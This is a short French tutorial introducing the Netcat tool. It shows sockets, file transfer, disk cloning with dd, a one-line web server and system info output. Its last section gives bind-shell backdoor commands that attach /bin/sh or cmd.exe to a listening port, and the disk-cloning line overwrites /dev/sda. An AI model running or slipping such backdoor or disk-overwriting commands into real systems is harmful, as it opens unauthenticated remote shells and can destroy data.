Très peu de personnes connaissent l'outil Netcat, et pourtant il mérite vraiment que l'on s'y intéresse de près.

Netcat permet très simplement d'ouvrir des sockets serveurs et clientes. Netcat est distribué avec toutes les distributions GNU/Linux.

http://netcat.sourceforge.net/

Si vous n'avez pas de distribution Linux sous la main, vous pouvez vous amuser avec la version DOS de Netcat.

Pour lancer une socket en écoute sur le port 1234:


nc -l -p 1234

Pour ouvrir une socket cliente vers le port précédemment ouvert en local :


nc -w 1 localhost 1234

Il est aussi possible de réaliser des choses beaucoup plus ''brutales'' avec Netcat, des choses réservées aux barbus.

Envoyer un fichier entre deux machines

Serveur 1 :


nc -lp 1234 > monfichier.zip

Serveur 2 :


nc -w 1 server1.example.com 1234 < monfichier.zip

Cloner un filesystem

Serveur 1 :


nc -l -p 1234 | dd of=/dev/sda

Serveur 2 :


dd if=/dev/sda | nc server1.example.com 1234

Servir une page Web


while `netcat -lp 80 -c 'echo HTTP/1.0 200 OK';echo;cat index.html`;do;done

Récupérer des informations sur le système


while `netcat -lp 3333 -e /usr/bin/uptime`;do;done

Ouvrir une backdoor

Sur Linux :


nc -nvv -l -p 1234 -e /bin/sh

Sur Windows :


nc -nvv -l -p 1234 -e cmd.exe

Comme vous avez pu le constater, Netcat est un outil très minimaliste, mais indispensable quand on commence à savoir le manipuler.

[Crédits photo]